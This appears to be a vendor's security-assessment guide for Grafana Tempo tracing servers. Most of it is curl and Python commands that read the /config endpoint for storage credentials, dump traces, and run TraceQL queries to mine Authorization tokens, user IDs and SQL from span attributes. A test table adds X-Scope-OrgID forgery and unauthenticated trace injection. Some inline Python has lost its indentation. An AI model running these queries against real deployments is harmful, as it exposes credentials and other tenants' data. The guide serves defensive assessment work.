Grafana Tempo is a high-volume distributed tracing backend designed to store and query traces from OpenTelemetry, Jaeger, Zipkin, and other instrumentation. Its security concerns are significant for microservices environments: the Tempo HTTP API on port 3200 typically operates without authentication, exposing all distributed traces including complete service-to-service call graphs, internal hostnames, database query strings, and any sensitive data embedded in span attributes by application developers, multi-tenant Tempo deployments use the same X-Scope-OrgID header mechanism as Mimir and Loki for tenant isolation — without an authenticating proxy enforcing this header, any tenant can read another tenant's traces, the TraceQL query language enables data mining across all stored traces for sensitive attributes like user IDs, API tokens, and internal API responses, and object storage credentials in the Tempo configuration give read/write access to all historical trace data. This guide covers systematic Tempo security assessment.
# Grafana Tempo default ports:
# 3200 — HTTP API (traces, search, config)
# 4317 — gRPC OTLP receiver
# 4318 — HTTP OTLP receiver
# 9411 — Zipkin receiver
# 14268 — Jaeger HTTP receiver
# 14250 — Jaeger gRPC receiver
# Check if Tempo HTTP API is accessible
curl -s http://tempo.example.com:3200/ready 2>/dev/null | head -2
# Returns "ready"
# Check Tempo configuration (may expose storage credentials)
curl -s http://tempo.example.com:3200/config 2>/dev/null | \
grep -E "(access_key|secret_key|password|credentials|bucket)" | head -10
# List available metrics (info disclosure)
curl -s http://tempo.example.com:3200/metrics 2>/dev/null | \
grep -E "^tempo_" | head -20
# Check if distributor accepts traces without authentication
curl -s -X POST http://tempo.example.com:4318/v1/traces \
-H "Content-Type: application/json" \
-d '{"resourceSpans":[]}' 2>/dev/null | head -3# Tempo's query API exposes all stored traces
# Search by service name, span name, or any tag value
# Search traces by service name (no auth)
curl -s "http://tempo.example.com:3200/api/search?tags=service.name%3Dpayment-service" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
traces = data.get('traces', [])
print(f'Found {len(traces)} traces')
for t in traces[:5]:
print(f\" TraceID: {t.get('traceID','?')} root: {t.get('rootTraceName','?')} service: {t.get('rootServiceName','?')}\")
"
# Fetch a specific trace by ID (reveals complete call graph)
TRACE_ID="$(curl -s 'http://tempo.example.com:3200/api/search?limit=1' 2>/dev/null | \
python3 -c \"import json,sys; d=json.load(sys.stdin); print(d['traces'][0]['traceID'] if d.get('traces') else '')\")"
curl -s "http://tempo.example.com:3200/api/traces/${TRACE_ID}" 2>/dev/null | \
python3 -c "
import json,sys
trace = json.load(sys.stdin)
spans = [s for rs in trace.get('batches',[]) for ss in rs.get('scopeSpans',[]) for s in ss.get('spans',[])]
print(f'Spans in trace: {len(spans)}')
for s in spans[:3]:
attrs = {a['key']: a['value'] for a in s.get('attributes',[])}
print(f\" {s.get('name','?')}: {attrs}\")
" 2>/dev/null | head -20# TraceQL allows structured queries across all stored traces
# Can be used to mine span attributes for sensitive data
# Search for spans with authentication tokens in attributes
curl -s "http://tempo.example.com:3200/api/search" \
-G --data-urlencode 'q={span.http.request.header.authorization =~ ".*"}' \
--data-urlencode 'limit=10' 2>/dev/null | python3 -m json.tool | head -15
# Returns traces where spans have Authorization headers as attributes
# Search for database query spans (may contain SQL with data)
curl -s "http://tempo.example.com:3200/api/search" \
-G --data-urlencode 'q={span.db.system != ""}' \
--data-urlencode 'limit=10' 2>/dev/null | python3 -m json.tool | head -15
# Search for error spans that may contain stack traces or internal messages
curl -s "http://tempo.example.com:3200/api/search" \
-G --data-urlencode 'q={status = error}' \
--data-urlencode 'limit=10' 2>/dev/null | python3 -m json.tool | head -15
# Search for spans with user IDs (common pattern in instrumentation)
curl -s "http://tempo.example.com:3200/api/search" \
-G --data-urlencode 'q={span.user.id != ""}' \
--data-urlencode 'limit=20' 2>/dev/null | python3 -m json.tool | head -15X-Scope-OrgID injection at the proxy level — block clients from setting it directly| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated trace search and retrieval | GET /api/search — returns all traces; GET /api/traces/{id} — returns full call graph | High |
| Tenant isolation bypass via X-Scope-OrgID forgery | Query with other tenant's OrgID — returns cross-tenant traces | Critical |
| TraceQL sensitive attribute mining | Query {span.http.request.header.authorization =~ ".*"} — finds auth tokens in spans | High |
| Object storage credentials in config | curl /config — check for S3/GCS access keys | High |
| OTLP receiver accepts traces without auth | POST /v1/traces without Authorization — injects arbitrary traces | Medium |
| Internal gRPC APIs exposed without mTLS | Connect to compactor/ingester gRPC port without client certificate | Medium |
Ironimo tests Grafana Tempo deployments for unauthenticated trace query API access exposing complete service call graphs, tenant isolation bypass via forged X-Scope-OrgID headers, TraceQL sensitive data mining across span attributes including auth tokens and user IDs, object storage credential exposure in configuration endpoints, unauthenticated OTLP trace injection, and internal gRPC API access without mutual TLS.
Start free scan